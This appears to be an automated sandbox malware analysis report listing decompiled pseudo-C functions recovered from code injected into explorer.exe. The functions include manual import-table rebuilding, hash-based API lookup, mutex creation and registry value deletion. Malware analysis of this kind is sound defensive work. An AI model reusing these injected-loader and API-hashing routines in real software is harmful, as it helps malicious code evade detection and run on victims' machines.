0x006692b6
0x006692b8
0x006692cf
0x006692d5
0x00000000
0x00000000
0x00000000
0x00000000
0x006692ba
0x006692ba
0x006692c3
0x006692c6
0x006692c7
0x006692cb
0x006692cb
0x00000000
0x006692ba
0x00669245
0x00669248
0x0066924b
0x0066924d
0x0066927c
0x0066927f
0x00669281
0x00669283
0x00669283
0x00669285
0x00000000
0x00669285
0x0066924f
0x00669258
0x0066925d
0x00669262
0x00669263
0x00669264
0x0066926f
0x00000000
0x00669274
0x006690c4
0x006690c5
0x006690c8
0x006690cd
0x006690d1
0x006690d6
0x006690d9
0x006690dc
0x006690de
0x00000000
0x00000000
0x006690f5
0x006690f8
0x006690fa
0x00669173
0x006690fc
0x00669101
0x00669110
0x00669118
0x0066911f
0x00669127
0x0066912c
0x00669132
0x0066913c
0x0066913f
0x00669141
0x00669143
0x00669146
0x00669148
0x0066914a
0x0066914a
0x00669148
0x00669156
0x00669161
0x00669166
0x00669166
0x00669183
0x00669188
0x0066918e
0x00669196
0x0066919f
0x006691a4
0x00000000
0x006691a8
0x0066907b
0x0066903f
0x00000000

Strings

C-f, xrefs: 0066921E, 00669297, 00669221

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: C-f
API String ID: 1279760036-157709321
Opcode ID: f3faf1823f42963116fc825ce27b9263b55ab7e50e6e77fe3726dbb7a322e828
Instruction ID: 40fd73b1378d27d0355825e37fc03957ba376bbb2f053daae01fb387f59dcc4d
Opcode Fuzzy Hash: f3faf1823f42963116fc825ce27b9263b55ab7e50e6e77fe3726dbb7a322e828
Instruction Fuzzy Hash: 03914871900209BFCB11EFA4CD85DEEBBBEEF49310F204659F915A7262DB319A41DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0067BF94, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 142
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E0067BF94(signed int __eax, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				struct HINSTANCE__* _v24;
				signed int _v28;
				signed int _v32;
				struct HINSTANCE__* _v36;
				signed int* _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				struct HINSTANCE__* _t115;
				void* _t157;

				_v8 = _v8 & 0x00000000;
				if(_a4 != 0) {
					_v24 = GetModuleHandleA("kernel32.dll");
					_v12 = E0066E77F(_v24, "GetProcAddress");
					_v16 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v20 = _v16;
					if( *((intOrPtr*)(_v20 + 0x80)) == 0) {
						L24:
						return 0;
					}
					_v32 = 0x80000000;
					_v44 = _a4 +  *((intOrPtr*)(_v20 + 0x80));
					while( *((intOrPtr*)(_v44 + 0xc)) != 0) {
						_v44 = _v44 + 0x14;
					}
					_v44 = _a4 +  *((intOrPtr*)(_v20 + 0x80));
					while( *((intOrPtr*)(_v44 + 0xc)) != 0) {
						_t115 = LoadLibraryA( *((intOrPtr*)(_v44 + 0xc)) + _a4); // executed
						_v36 = _t115;
						if(_v36 != 0) {
							if( *_v44 == 0) {
								_v40 =  *((intOrPtr*)(_v44 + 0x10)) + _a4;
							} else {
								_v40 =  *_v44 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v40 != 0) {
								_v64 = _v64 & 0x00000000;
								_v60 = _v60 & 0x00000000;
								_v52 = _v52 & 0x00000000;
								_v56 = _v56 & 0x00000000;
								if(( *_v40 & _v32) == 0) {
									_v48 =  *_v40 + _a4;
									_v56 = _v48 + 2;
									_v64 =  *( *((intOrPtr*)(_v44 + 0x10)) + _a4 + _v28);
									_v60 = _v12(_v36, _v56);
								} else {
									_v64 =  *_v40;
									_v56 = _v64 & 0x0000ffff;
									_v60 = _v12(_v36, _v56);
								}
								if(_v64 != _v60) {
									_v8 = _v8 + 1;
									if( *((intOrPtr*)(_v44 + 0x10)) == 0) {
										 *_v40 = _v60;
									} else {
										 *( *((intOrPtr*)(_v44 + 0x10)) + _a4 + _v28) = _v60;
									}
								}
								_v40 =  &(_v40[1]);
								_v28 = _v28 + 4;
							}
							_v44 = _v44 + 0x14;
							continue;
						}
						_t157 = 0xfffffffd;
						return _t157;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x0067bf9a
0x0067bfa2
0x0067bfb7
0x0067bfc9
0x0067bfd5
0x0067bfdb
0x0067bfe8
0x0067c14b
0x00000000
0x0067c14b
0x0067bfee
0x0067c001
0x0067c004
0x0067c013
0x0067c013
0x0067c024
0x0067c027
0x0067c03e
0x0067c044
0x0067c04b
0x0067c05b
0x0067c073
0x0067c05d
0x0067c065
0x0067c065
0x0067c076
0x0067c07a
0x0067c086
0x0067c08a
0x0067c08e
0x0067c092
0x0067c09e
0x0067c0c9
0x0067c0d1
0x0067c0e3
0x0067c0ef
0x0067c0a0
0x0067c0a5
0x0067c0b0
0x0067c0bc
0x0067c0bc
0x0067c0f8
0x0067c0fe
0x0067c108
0x0067c124
0x0067c10a
0x0067c119
0x0067c119
0x0067c108
0x0067c12c
0x0067c135
0x0067c135
0x0067c143
0x00000000
0x0067c143
0x0067c04f
0x00000000
0x0067c04f
0x00000000
0x0067c027
0x00000000

APIs

LoadLibraryA.KERNELBASE(00000000), ref: 0067C03E

Strings

,f, xrefs: 0067BFDE, 0067BFF5, 0067C018

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ,f
API String ID: 1029625771-1525428273
Opcode ID: 0ccbaa485c46ab27672ab5085aedd98e71629e0e3a98e5a076bb48e613545453
Instruction ID: c8f2eba1552132010060a6eddb23a40bafb8e9d213d314496457c47ae1696f2b
Opcode Fuzzy Hash: 0ccbaa485c46ab27672ab5085aedd98e71629e0e3a98e5a076bb48e613545453
Instruction Fuzzy Hash: E5616C75900208EFDB44CF98D885AECBBF1BF08325F149468E819AB361D735AA80DF64

Uniqueness

Uniqueness Score: -1.00%

Function 0066E5F3, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0066E5F3(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v80;
				intOrPtr _t48;
				intOrPtr _t49;
				CHAR* _t52;
				signed int _t56;
				struct HINSTANCE__* _t62;
				void* _t66;
				CHAR* _t68;
				intOrPtr _t69;
				void* _t74;
				char _t77;
				void* _t80;
				CHAR* _t82;
				void* _t84;
				void* _t87;
				void* _t88;
				void* _t89;

				_t69 = _a4;
				_t48 =  *((intOrPtr*)(_t69 + 0x3c)) + _t69;
				_v16 = _t48;
				_t49 =  *((intOrPtr*)(_t48 + 0x78));
				if(_t49 != 0) {
					_v8 = _v8 & 0x00000000;
					_t84 = _t49 + _t69;
					_t80 =  *((intOrPtr*)(_t84 + 0x20)) + _t69;
					_t66 =  *((intOrPtr*)(_t84 + 0x24)) + _t69;
					_v12 =  *((intOrPtr*)(_t84 + 0x1c)) + _t69;
					if( *((intOrPtr*)(_t84 + 0x18)) <= 0) {
						L18:
						_t52 = 0;
					} else {
						while(1) {
							_t56 = E0066BF2C(0,  *((intOrPtr*)(_t80 + _v8 * 4)) + _t69, E0066C90F( *((intOrPtr*)(_t80 + _v8 * 4)) + _t69));
							_t89 = _t89 + 0xc;
							if((_t56 ^ 0x218fe95b) == _a8) {
								break;
							}
							_v8 = _v8 + 1;
							if(_v8 <  *((intOrPtr*)(_t84 + 0x18))) {
								_t69 = _a4;
								continue;
							} else {
								goto L18;
							}
							goto L19;
						}
						_t52 =  *((intOrPtr*)(_v12 + ( *(_t66 + _v8 * 2) & 0x0000ffff) * 4)) + _a4;
						if(_t52 >= _t84 && _t52 <  *((intOrPtr*)(_v16 + 0x7c)) + _t84) {
							_t74 = 0;
							_t68 = _t52;
							_t82 = _t52;
							_t87 =  &_v80 - _t52;
							while(1) {
								_t77 =  *_t82;
								if(_t77 == 0x2e || _t77 == 0) {
									break;
								}
								_t74 = _t74 + 1;
								 *((char*)(_t87 + _t82)) = _t77;
								_t82 =  &(_t82[1]);
								if(_t74 < 0x40) {
									continue;
								}
								break;
							}
							 *((char*)(_t88 + _t74 - 0x4c)) = 0x2e;
							 *((char*)(_t88 + _t74 - 0x4b)) = 0x64;
							 *((char*)(_t88 + _t74 - 0x4a)) = 0x6c;
							 *((char*)(_t88 + _t74 - 0x49)) = 0x6c;
							 *((char*)(_t88 + _t74 - 0x48)) = 0;
							if( *((char*)(_t74 + _t52)) != 0) {
								_t45 =  &(_t52[1]); // 0x2
								_t68 = _t74 + _t45;
							}
							_t46 =  &_v80; // 0x2e
							_t62 = LoadLibraryA(_t46); // executed
							if(_t62 == 0) {
								goto L18;
							} else {
								_t52 = GetProcAddress(_t62, _t68);
								if(_t52 == 0) {
									goto L18;
								}
							}
						}
					}
					L19:
					return _t52;
				} else {
					return _t49;
				}
			}

0x0066e5f9
0x0066e5ff
0x0066e601
0x0066e604
0x0066e609
0x0066e60d
0x0066e613
0x0066e622
0x0066e624
0x0066e62a
0x0066e62d
0x0066e6e6
0x0066e6e6
0x0066e633
0x0066e638
0x0066e64a
0x0066e654
0x0066e65a
0x00000000
0x00000000
0x0066e65c
0x0066e665
0x0066e635
0x00000000
0x0066e667
0x00000000
0x0066e667
0x00000000
0x0066e665
0x0066e676
0x0066e67b
0x0066e68c
0x0066e68e
0x0066e690
0x0066e692
0x0066e694
0x0066e694
0x0066e699
0x00000000
0x00000000
0x0066e69f
0x0066e6a0
0x0066e6a3
0x0066e6a7
0x00000000
0x00000000
0x00000000
0x0066e6a7
0x0066e6ad
0x0066e6b2
0x0066e6b7
0x0066e6bc
0x0066e6c1
0x0066e6c6
0x0066e6c8
0x0066e6c8
0x0066e6c8
0x0066e6cc
0x0066e6d0
0x0066e6d8
0x00000000
0x0066e6da
0x0066e6dc
0x0066e6e4
0x00000000
0x00000000
0x0066e6e4
0x0066e6d8
0x0066e67b
0x0066e6e8
0x0066e6ec
0x0066e60c
0x0066e60c
0x0066e60c

Strings

.dll, xrefs: 0066E6CC, 0066E6CF

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID: .dll
API String ID: 0-2738580789
Opcode ID: bf3d68ac75d936baabcc643cf24f5ebfba85f58a8d52474dca543f1d8b50e107
Instruction ID: 5c3cc73bf87d64921d09dffa0d794549c176f054a9eaaff34ca681e3e406cba0
Opcode Fuzzy Hash: bf3d68ac75d936baabcc643cf24f5ebfba85f58a8d52474dca543f1d8b50e107
Instruction Fuzzy Hash: D7318D39A04284EFEB20CF68D884BAD7BE6AF54748F2444ACE841D7351D772ED46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00662C08, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00662C08() {
				char _v44;
				void* _t22;
				char* _t26;
				void* _t31;

				E0067BF94( *0x68b740,  *((intOrPtr*)( *0x68b740 + 0x224))); // executed
				E00669605();
				E0066AC87();
				 *0x68b820 = 0;
				 *0x68b860 = 0;
				 *0x68b85c = 0;
				E00662ADB();
				E0066E86C();
				 *((intOrPtr*)( *0x68b740 + 0xa4)) = 2;
				_t26 =  &_v44;
				E0066B497(_t26,  *((intOrPtr*)( *0x68b740 + 0xac)) + 7,  *((intOrPtr*)( *0x68b740 + 0xac)) + 7);
				E0066B5CF(_t26); // executed
				_push(0x27);
				_push(0);
				_push(_t26);
				L0067CAF8();
				E00662D26(_t22, 0, _t31); // executed
				ExitProcess(0);
			}

0x00662c1b
0x00662c20
0x00662c25
0x00662c2c
0x00662c32
0x00662c38
0x00662c3e
0x00662c43
0x00662c4d
0x00662c66
0x00662c69
0x00662c71
0x00662c76
0x00662c7a
0x00662c7b
0x00662c7c
0x00662c84
0x00662c8f

APIs

Part of subcall function 00669605: HeapCreate.KERNELBASE(00000000,00080000,00000000,00662E5F), ref: 0066960E

ExitProcess.KERNEL32(00000000,?,?,?,?), ref: 00662C8F

Strings

i, xrefs: 00662C20

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: CreateExitHeapProcess
String ID: i
API String ID: 611137554-1314162127
Opcode ID: 98feb6f6f46ba59f364e58fcb78eab95420e5e0891a4fe85a63035e1894a0182
Instruction ID: 6ea6b60f75d5f12a9b5d30bd85d6775a6237c074cf0bc04f0237bf19ee4accfe
Opcode Fuzzy Hash: 98feb6f6f46ba59f364e58fcb78eab95420e5e0891a4fe85a63035e1894a0182
Instruction Fuzzy Hash: F201FBB1600248AFC750BBAADC4AE5A7BEAFF85710F05216DF504D7232DB7094008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0066D481, Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E0066D481(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, DWORD* _a12) {
				long _v8;
				void* _v12;
				void* _t16;
				void* _t28;

				_push(_t23);
				_t28 = 0;
				if(GetTokenInformation(_a4, _a8, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t16 = _t28;
				} else {
					_t28 = E00669568(_v8);
					_v12 = _t28;
					if(_t28 != 0) {
						if(GetTokenInformation(_a4, _a8, _t28, _v8, _a12) != 0) {
							goto L6;
						} else {
							E006694F4( &_v12, _t20);
							goto L3;
						}
					} else {
						L3:
						_t16 = 0;
					}
				}
				return _t16;
			}

0x0066d485
0x0066d490
0x0066d49f
0x0066d4e9
0x0066d4e9
0x0066d4ac
0x0066d4b4
0x0066d4b7
0x0066d4bc
0x0066d4d9
0x00000000
0x0066d4db
0x0066d4e0
0x00000000
0x0066d4e6
0x0066d4be
0x0066d4be
0x0066d4be
0x0066d4be
0x0066d4bc
0x0066d4ed

APIs

GetTokenInformation.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00001644,?,?,?,0066D1C2,00000000,00000001,00000000,00001644), ref: 0066D49A

Part of subcall function 00669568: RtlAllocateHeap.NTDLL(00000008,?,?,0066AC93,00000100,?,00662E84), ref: 00669576

GetTokenInformation.KERNELBASE(00000000,00000000,00000000,00000000,0066EBDC,?,?,?,0066D1C2,00000000,00000001,00000000,00001644), ref: 0066D4D4

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateHeap
String ID:
API String ID: 3274490822-0
Opcode ID: ba0f7bf65f427528866d768b2c9c771160b3d944772ac8044a4e3864f49aefad
Instruction ID: f8d2cad0102197b6a0744c48f0fb468685df3663e44edfd3794e6c9f66d609be
Opcode Fuzzy Hash: ba0f7bf65f427528866d768b2c9c771160b3d944772ac8044a4e3864f49aefad
Instruction Fuzzy Hash: DA012872A00218BF8F219FA1DC49DCE7FAEEF057A0B108554F905D6160EB31EE00DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 006659D4, Relevance: 1.6, APIs: 1, Instructions: 143
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E006659D4(void* __fp0, void* _a4, short* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				short* _v12;
				char* _v16;
				int* _v20;
				int _v24;
				int _v28;
				int _v32;
				int _v36;
				intOrPtr _v40;
				int _v44;
				int _v48;
				int _v52;
				struct _FILETIME _v60;
				char _v578;
				short _v580;
				short* _t56;
				char* _t58;
				long _t60;
				short* _t75;
				long _t76;
				intOrPtr _t79;
				short* _t82;
				intOrPtr _t92;
				void* _t98;
				void* _t99;
				void* _t107;

				_t107 = __fp0;
				_push(0x206);
				_v580 = 0;
				_push(0);
				_push( &_v578);
				_v8 = 0;
				L0067CAF8();
				_v36 = 0x104;
				_v28 = 0x3fff;
				_v32 = 0;
				_t56 = E00669568(0x3fff);
				_t99 = _t98 + 0x10;
				_v12 = _t56;
				if(_t56 == 0) {
					L18:
					return 0;
				}
				_t58 = E00669568(0x800);
				_v16 = _t58;
				if(_t58 == 0) {
					L17:
					goto L18;
				}
				_t60 = RegOpenKeyExW(_a4, _a8, 0, 0x2001f,  &_v8); // executed
				if(_t60 != 0) {
					L14:
					if(_v8 != 0) {
						 *((intOrPtr*)( *0x68b76c + 0x1c))(_v8);
					}
					E006694F4( &_v12, 0x3fff); // executed
					E006694F4( &_v16, 0x800); // executed
					goto L17;
				}
				if(RegQueryInfoKeyW(_v8,  &_v580,  &_v36, 0, 0, 0, 0,  &_v24,  &_v48,  &_v52,  &_v44,  &_v60) == 0) {
					__eflags = _v24;
					if(__eflags == 0) {
						goto L14;
					}
					_v20 = 0;
					if(__eflags <= 0) {
						goto L14;
					} else {
						goto L7;
					}
					do {
						L7:
						_push(0x800);
						_push(0);
						_push(_v16);
						L0067CAF8();
						_push(0x3fff);
						_push(0);
						_push(_v12);
						L0067CAF8();
						_t75 = _v12;
						_t99 = _t99 + 0x18;
						_v28 = 0x3fff;
						_v32 = 0x800;
						 *_t75 = 0;
						_t76 = RegEnumValueW(_v8, _v20, _t75,  &_v28, 0, 0, _v16,  &_v32);
						__eflags = _t76;
						if(_t76 == 0) {
							_t79 =  *((intOrPtr*)( *0x68b744 + 4))(_v16, _a12);
							_v40 = _t79;
							__eflags = _t79;
							if(_t79 != 0) {
								RegDeleteValueW(_v8, _v12);
								__eflags = _a16;
								if(_a16 != 0) {
									_t92 = _v40;
									_t82 = _t92 + E0066C8FB(_t92) * 2 - 2;
									__eflags =  *_t82 - 0x22;
									if(__eflags == 0) {
										__eflags = 0;
										 *_t82 = 0;
									}
									E0066B9B4(_t92, __eflags, _t107);
								}
							}
						}
						_v20 =  &(_v20[0]);
						__eflags = _v20 - _v24;
					} while (_v20 < _v24);
				} else {
					 *((intOrPtr*)( *0x68b76c + 0x1c))(_v8);
				}
			}

0x006659d4
0x006659e3
0x006659e8
0x006659f5
0x006659f6
0x006659f7
0x006659fa
0x00665a05
0x00665a0c
0x00665a0f
0x00665a12
0x00665a17
0x00665a1a
0x00665a1f
0x00665b6c
0x00665b70
0x00665b70
0x00665a2c
0x00665a32
0x00665a37
0x00665b6a
0x00000000
0x00665b6a
0x00665a4d
0x00665a55
0x00665b43
0x00665b46
0x00665b50
0x00665b50
0x00665b58
0x00665b62
0x00000000
0x00665b67
0x00665a89
0x00665a9b
0x00665a9e
0x00000000
0x00000000
0x00665aa4
0x00665aa7
0x00000000
0x00000000
0x00000000
0x00000000
0x00665aad
0x00665aad
0x00665aad
0x00665aae
0x00665aaf
0x00665ab2
0x00665ab7
0x00665ab8
0x00665ab9
0x00665abc
0x00665ac1
0x00665ac4
0x00665ac9
0x00665acc
0x00665acf
0x00665ae6
0x00665aec
0x00665aee
0x00665afb
0x00665afe
0x00665b01
0x00665b03
0x00665b0b
0x00665b11
0x00665b14
0x00665b16
0x00665b1e
0x00665b22
0x00665b26
0x00665b28
0x00665b2a
0x00665b2a
0x00665b2f
0x00665b2f
0x00665b14
0x00665b03
0x00665b34
0x00665b3a
0x00665b3a
0x00665a8b
0x00665a93
0x00665a93

APIs

Part of subcall function 00669568: RtlAllocateHeap.NTDLL(00000008,?,?,0066AC93,00000100,?,00662E84), ref: 00669576

RegOpenKeyExW.KERNELBASE(?,?,00000000,0002001F,?,?,?,?,00000000), ref: 00665A4D

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateHeapOpen
String ID:
API String ID: 4287083251-0
Opcode ID: 23cbf81e9588ec6c91b06a0ebd0732a819b75fe98f4bfaa026d24b55583f32f3
Instruction ID: a595af2ef8a960fa50e7a476b7c7e085c3de794c35c12784334a12ea02666eb3
Opcode Fuzzy Hash: 23cbf81e9588ec6c91b06a0ebd0732a819b75fe98f4bfaa026d24b55583f32f3
Instruction Fuzzy Hash: 6251E2B1900219AFDF11DFA4DC85DEEBBBEEF08304F10446AE615A2221E7319E559B64

Uniqueness

Uniqueness Score: -1.00%

Function 0066661E, Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E0066661E(void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v12;
				char _v52;
				void* _t24;

				_v8 = _v8 & 0x00000000;
				E0066B497( &_v52, __eflags, _a4);
				if( *((intOrPtr*)( *0x68b740 + 0x644)) > 0) {
					L1:
					 *((intOrPtr*)( *0x68b760 + 0xb4))(0x32);
					goto L1;
				}
				_push(0);
				_push( &_v52);
				_push("\\");
				_v12 = E0066AB67("Global");
				_t24 = E006666B4(_t23, _t23, _a8,  &_v8); // executed
				__eflags = _t24 - 1;
				if(_t24 == 1) {
					FindCloseChangeNotification(_v8);
					_t13 =  &_v8;
					 *_t13 = _v8 & 0x00000000;
					__eflags =  *_t13;
					E006666B4( &_v52,  &_v52, _a8,  &_v8); // executed
				}
				E006694F4( &_v12, 0xffffffff);
				return _v8;
			}

0x00666624
0x0066662f
0x00666642
0x00666644
0x0066664b
0x00000000
0x0066664b
0x00666653
0x00666658
0x00666659
0x0066666f
0x00666673
0x0066667b
0x0066667e
0x00666688
0x0066668b
0x0066668b
0x0066668b
0x0066669a
0x0066669f
0x006666a8
0x006666b3

APIs

FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,?,?,00662CF1), ref: 00666688

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 1ef79acad18dee32f1185745eb74958eda2746fe6558788313f93aea02b62417
Instruction ID: 36df6395b484956c5b156929c925f232ecd72f14631eefeaaa06ce28a7102658
Opcode Fuzzy Hash: 1ef79acad18dee32f1185745eb74958eda2746fe6558788313f93aea02b62417
Instruction Fuzzy Hash: DE112A72814208FFDF00EB90ED4AFED77BAEB04314F504159F904A72A1DB709A149B55

Uniqueness

Uniqueness Score: -1.00%

Function 006666B4, Relevance: 1.5, APIs: 1, Instructions: 42
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E006666B4(signed int __eax, CHAR* _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _t14;
				void* _t16;
				void* _t22;

				if(_a4 != 0) {
					_t22 = CreateMutexA(0, 1, _a4);
					if(_t22 != 0) {
						if(GetLastError() != 0xb7) {
							L8:
							 *_a12 = _t22;
							_t14 = 1;
						} else {
							_t16 =  *((intOrPtr*)( *0x68b760 + 0x2c))(_t22, _a8);
							if(_t16 == 0 || _t16 == 0x80) {
								goto L8;
							} else {
								 *((intOrPtr*)( *0x68b760 + 0x30))(_t22);
								_t14 = 0;
							}
						}
					} else {
						_t14 = GetLastError() | 0xffffffff;
					}
					return _t14;
				} else {
					return __eax | 0xffffffff;
				}
			}

0x006666bb
0x006666d5
0x006666d9
0x006666f1
0x00666717
0x0066671a
0x0066671e
0x006666f3
0x006666fc
0x00666701
0x00000000
0x0066670a
0x00666710
0x00666713
0x00666713
0x00666701
0x006666db
0x006666e1
0x006666e1
0x00666721
0x006666bd
0x006666c1
0x006666c1

APIs

CreateMutexA.KERNELBASE(00000000,00000001,00000000,?,?,00666678,00000000,?,00000000,00688330,0068832C,?,00000000), ref: 006666CF

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 824ac8961d55e6429567a737273f20b32665032fce06fa0c724d809e73a8a2c0
Instruction ID: 6e113409348b431d4291fec5687851fd835b3d1627966e0cf023afbe480c4cef
Opcode Fuzzy Hash: 824ac8961d55e6429567a737273f20b32665032fce06fa0c724d809e73a8a2c0
Instruction Fuzzy Hash: D001AF31504618AFDB115FA4EC98BA97BA6FF05375F186A61FA29CB2F0C730D8008B61

Uniqueness

Uniqueness Score: -1.00%

Function 0066B615, Relevance: 1.5, APIs: 1, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(00000000,00000000,00680514,00000000,00000000,00000000,00000000,00000001,?,0066B72F,00000000,00000000,00000000,?,?,0067B30F), ref: 0066B64C

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a0d0ea3998cbde1a57da8ed9997d0f21d36f9bccdae3ed988f99f9bab24fe072
Instruction ID: 593f9c394a14367f45f75ba55d13b92326ff6f32d5d20aa235979d621051bab8
Opcode Fuzzy Hash: a0d0ea3998cbde1a57da8ed9997d0f21d36f9bccdae3ed988f99f9bab24fe072
Instruction Fuzzy Hash: 65F037B6500218FF8B21CF9ACC84CEB7BBEEB85B10B105265F809D7210E330AA40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 006694F4, Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E006694F4(char _a4, intOrPtr _a8) {
				char _t3;
				intOrPtr _t4;
				void* _t9;

				_t3 = _a4;
				if(_t3 == 0) {
					return _t3;
				}
				_t9 =  *_t3;
				if(_t9 != 0) {
					 *_t3 =  *_t3 & 0x00000000;
					_t4 = _a8;
					if(_t4 != 0xffffffff) {
						if(_t4 == 0xfffffffe) {
							_t4 = E0066C8FB(_t9);
						}
					} else {
						_t4 = E0066C90F(_t9);
					}
					E0066957E(_t9, 0, _t4);
					_t3 = RtlFreeHeap( *0x68b804, 0, _t9); // executed
				}
				return _t3;
			}

0x006694f7
0x006694fc
0x00669542
0x00669542
0x006694ff
0x00669503
0x00669505
0x00669508
0x0066950e
0x0066951c
0x00669520
0x00669520
0x00669510
0x00669511
0x00669516
0x00669529
0x0066953a
0x0066953a
0x00000000

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00680560,0000011C), ref: 0066953A

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 5a589be11363806f5a350b17a73d01d642acd28792f0f5ec48ee24d6a30ef8d9
Instruction ID: 5401c8a9f3e04fdaf734d04d29e4a6b94b51946c4156b851ffa4bc03df7e915e
Opcode Fuzzy Hash: 5a589be11363806f5a350b17a73d01d642acd28792f0f5ec48ee24d6a30ef8d9
Instruction Fuzzy Hash: BEF06C715015146BDB522A249C41BFA375E9F11B70F241315FD16EB2D1D7309D1146F5

Uniqueness

Uniqueness Score: -1.00%

Function 0066B691, Relevance: 1.5, APIs: 1, Instructions: 32
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0066B691(void* __ecx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _t12;
				void* _t22;

				_t22 = 0;
				if(_a12 == 0) {
					L3:
					_t12 = 1;
				} else {
					while(1) {
						_v8 = _v8 & 0x00000000;
						if(WriteFile(_a4, _a8 + _t22, _a12 - _t22,  &_v8, 0) == 0) {
							break;
						}
						_t22 = _t22 + _v8;
						if(_t22 < _a12) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					_t12 = 0;
				}
				L4:
				return _t12;
			}

0x0066b696
0x0066b69b
0x0066b6cd
0x0066b6cf
0x0066b69d
0x0066b69d
0x0066b69d
0x0066b6c3
0x00000000
0x00000000
0x0066b6c5
0x0066b6cb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0066b6cb
0x0066b6d3
0x0066b6d3
0x0066b6d0
0x0066b6d2

APIs

WriteFile.KERNELBASE(?,?,?,00000000,00000000,00000000,00000001,?,0066C660,00000000,00000000,?), ref: 0066B6BB

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
